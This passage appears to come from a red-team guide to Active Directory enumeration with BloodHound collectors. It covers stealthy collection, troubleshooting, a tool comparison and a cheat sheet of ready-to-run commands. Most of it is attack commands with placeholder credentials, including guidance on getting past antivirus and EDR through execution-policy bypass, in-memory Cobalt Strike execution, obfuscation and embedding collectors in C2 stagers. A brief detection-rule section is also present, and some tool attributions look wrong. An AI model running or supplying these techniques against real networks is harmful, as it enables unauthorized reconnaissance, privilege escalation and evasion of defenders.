bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  --throttle 500  # 500ms delay between queries

# 3. Use Kerberos tickets (less suspicious than password)
export KRB5CCNAME=/tmp/attacker.ccache
bloodhound-python -u attacker -d domain.local -dc 192.168.1.10 -k

# 4. Use native Windows tools (less tooling indicators)
# PowerShell + AD Module (installed by default on servers)

# 5. Distribute collection over time (loop mode)
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
  -o /tmp/bh/ --loop --loopdelay 3600  # Run every hour

# 6. Collect only specific data (reduce footprint)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  -c User,Computer,Group,ACL  # Skip LocalAdmin, Session for stealth

# 7. Use DNS-based collection (if available)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local --use-dns

# 8. Via C2 channels (Cobalt Strike, Sliver, etc.)
# Embed collection tools in C2 stagers for encrypted exfil

Blue Team Detection Rules

-- SQL query for BloodHound-python detection (logs)
SELECT * FROM logs 
WHERE 
  (user_agent LIKE '%bloodhound%') OR
  (query_volume > 1000 AND source_ip = attacker_ip) OR
  (ldap_bind_count > 500 IN 5_minutes) OR
  (tool_name LIKE '%rusthound%' OR '%SharpHound%')

-- Windows Event Log correlation
-- Event ID 4625 (Failed Logins) + 4624 (Successful Logins) pattern matching
-- Event ID 4688 (Process Creation) with PowerShell + Get-ADUser

14. Troubleshooting & Edge Cases

Issue 1: "Cannot bind to LDAP server"

# Cause: DC unreachable or incorrect address
# Solution: Verify DC IP and connectivity

nslookup domain.local
nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.local

# Specify correct DC
bloodhound-python -u attacker -p 'Pass123!' -d domain.local --dc <CORRECT_DC_IP>

# Test LDAP connectivity
ldapsearch -H ldap://<DC_IP>:389 -x -s base namingContexts

Issue 2: "Access Denied" or "Insufficient Privileges"

# Cause: Low-privilege account, insufficient LDAP bind
# Solution: Use admin account or delegated permissions

# Try with admin
bloodhound-python -u 'domain\admin' -p 'AdminPass!' -d domain.local -dc 192.168.1.10

# Check if account has "Replicate Directory Changes" permission (DCSync-equivalent for LDAP)
bloodyad -u admin -p 'AdminPass!' -d domain.local --host 192.168.1.10 \
  get acl "DC=domain,DC=local" | grep -i "replicat"

Issue 3: Slow Enumeration

# Cause: Throttling, single-threaded, or network latency
# Solution: Increase threads/concurrency

# Rusthound with threads
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
  -t 20  # 20 threads

# SharpHound with max threads
.\SharpHound.exe -c All -d domain.local --maxthreads 50

# bloodhound-python (limited threading, use multiple instances)
# Run collection for different objects in parallel
for obj_type in User Computer Group ACL; do
  bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
    -c $obj_type &
done

Issue 4: Missing ACL Data

# Cause: Insufficient privileges, DC doesn't expose ACL to this account
# Solution: Use admin account or targeted ACL queries

# Try with higher privileges
bloodhound-python -u 'domain\admin' -p 'AdminPass!' -d domain.local -dc 192.168.1.10 \
  -c ACL

# Manually query ACLs
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get acl "CN=Domain Admins,CN=Users,DC=domain,DC=local"

# ACL might only be visible to object owner or SYSTEM

Issue 5: Cross-Domain Collection Fails

# Cause: No trust relationship or insufficient trust permissions
# Solution: Use Global Catalog or specific trust credentials

# Use Global Catalog (if available)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  --use-gc

# Or collect each domain separately
for domain in domain1.local domain2.local; do
  bloodhound-python -u "attacker@$domain" -p 'Pass123!' -d $domain -dc $(dig +short $domain SRV | head -1)
done

Issue 6: Session Data Empty

# Cause: Session enumeration requires admin or network access
# Solution: Use admin credentials or alternate method

# Ensure admin access
nxc smb 192.168.1.0/24 -u admin -p 'AdminPass!' -d domain.local \
  -M enum_sessions

# Verify network connectivity
ping -c 1 192.168.1.50  # Target computer

# Use LocalAdmin collection instead
bloodhound-python -u admin -p 'AdminPass!' -d domain.local -dc 192.168.1.10 \
  -c LocalAdmin

Issue 7: SharpHound Won't Execute on Windows

# Cause: .NET runtime, Execution Policy, or file blocking
# Solution: Bypass restrictions

# Check .NET version
dotnet --version

# Bypass execution policy
powershell -ExecutionPolicy Bypass -File SharpHound.ps1 -c All

# Use DotNetToJScript loader (in-memory)
# Or use Cobalt Strike's execute-assembly

# Unblock file (if blocked by Zone.Identifier)
Unblock-File -Path .\SharpHound.exe
.\SharpHound.exe -c All

Issue 8: BloodHound GUI Won't Import Data

# Cause: Corrupted JSON, incompatible format, or import directory issue
# Solution: Validate JSON and correct format

# Validate JSON
python3 -m json.tool /tmp/bh_output/users_*.json > /dev/null

# Check format (bloodhound-python should produce correct format)
# If using manual collection, ensure JSON structure matches BloodHound schema

# Re-export with bloodhound-python
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  -c All --zip  # Zip format is most compatible

# Import via GUI: Upload → Select ZIP → Import

Issue 9: "Domain Not Found"

# Cause: DNS resolution failure or typo
# Solution: Verify domain name and DNS

# Check DNS
nslookup domain.local

# Try FQDN
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10

# Or use IP if DNS fails
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10

# Specify DC explicitly
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc dc1.domain.local

Issue 10: C# SharpHound Detection/Blocking

# Cause: Antivirus, EDR, or behavioral detection
# Solution: In-memory execution, obfuscation, or alternative tools

# Use Cobalt Strike's execute-assembly (in-memory)
beacon> execute-assembly SharpHound.exe -c All

# Use PowerShell in-memory
beacon> powershell .\Invoke-SharpHound.ps1 -c All

# Use alternative: bloodhound-python (not compiled .NET)
python3 -c "exec(open('bloodhound-python').read())"

# Obfuscate using Invoke-Obfuscation
Invoke-Obfuscation -Path ./SharpHound.ps1 -Obfuscation Variable

# Use native tools (PowerShell + AD Module, no .NET assembly indicators)

Comparison Matrix

Tool Speed Stealth Coverage Dependencies Best For
bloodhound-python Fast Medium Complete Python 3.6+ Initial recon, complete enum
NetExec Fast Medium Good Python 3.6+ Multi-protocol, modules
BloodyAD Medium High Selective Python 3.6+ Targeted LDAP queries
Rusthound Very Fast High Complete None (binary) Speed, C2 environments
SharpHound Fast Low Complete .NET, Windows Full details, Windows native
PowerShell AD Module Medium Low Good Windows, RSAT Legitimate admin work
ADSI LDAP Medium Medium Complete Windows/.NET Low-signature collection
dsquery Slow High Partial Windows native Stealth, native tools
WMI Medium Medium Partial Windows native System info, local data

Quick Reference Cheat Sheet

Get Started Immediately

# 1. Fastest complete collection
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 -o /tmp/bh/ --zip

# 2. Python alternative
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 -c All --zip

# 3. Multi-protocol with NetExec
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M bloodhound

# 4. Stealthy LDAP
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object \* --filter '(|(objectClass=user)(objectClass=computer)(objectClass=group))'

# 5. Native PowerShell (no external tools)
Get-ADUser -Filter * | Export-Csv users.csv
Get-ADComputer -Filter * | Export-Csv computers.csv
Get-ADGroup -Filter * | Export-Csv groups.csv

Import to BloodHound

# Move JSON files to import directory
cp /tmp/bh_output/*.json ~/.config/bloodhound/

# Or import ZIP via GUI: Upload → Select ZIP → Import

# Then query:
# "Shortest paths to Domain Admin"
# "Find all ACLs"
# "Find Kerberoastable users"

References & Tools

Tool URL Type
BloodHound https://github.com/BloodHoundAD/BloodHound GUI
bloodhound-python https://github.com/dirkjanm/BloodHound.py Python injector
Rusthound https://github.com/NH-RED-TEAM/RustHound Rust injector
SharpHound https://github.com/BloodHoundAD/SharpHound C# injector
NetExec https://github.com/Pennyw0rth/NetExec Multi-protocol
CrackMapExec https://github.com/byt3bl33d3r/CrackMapExec Multi-protocol (legacy)
BloodyAD https://github.com/CroweCybersecurity/BloodyAD LDAP queries
Impacket https://github.com/fortra/impacket Python toolkit
PowerSploit https://github.com/PowerShellMafia/PowerSploit PowerShell module

← Active Directory top ↑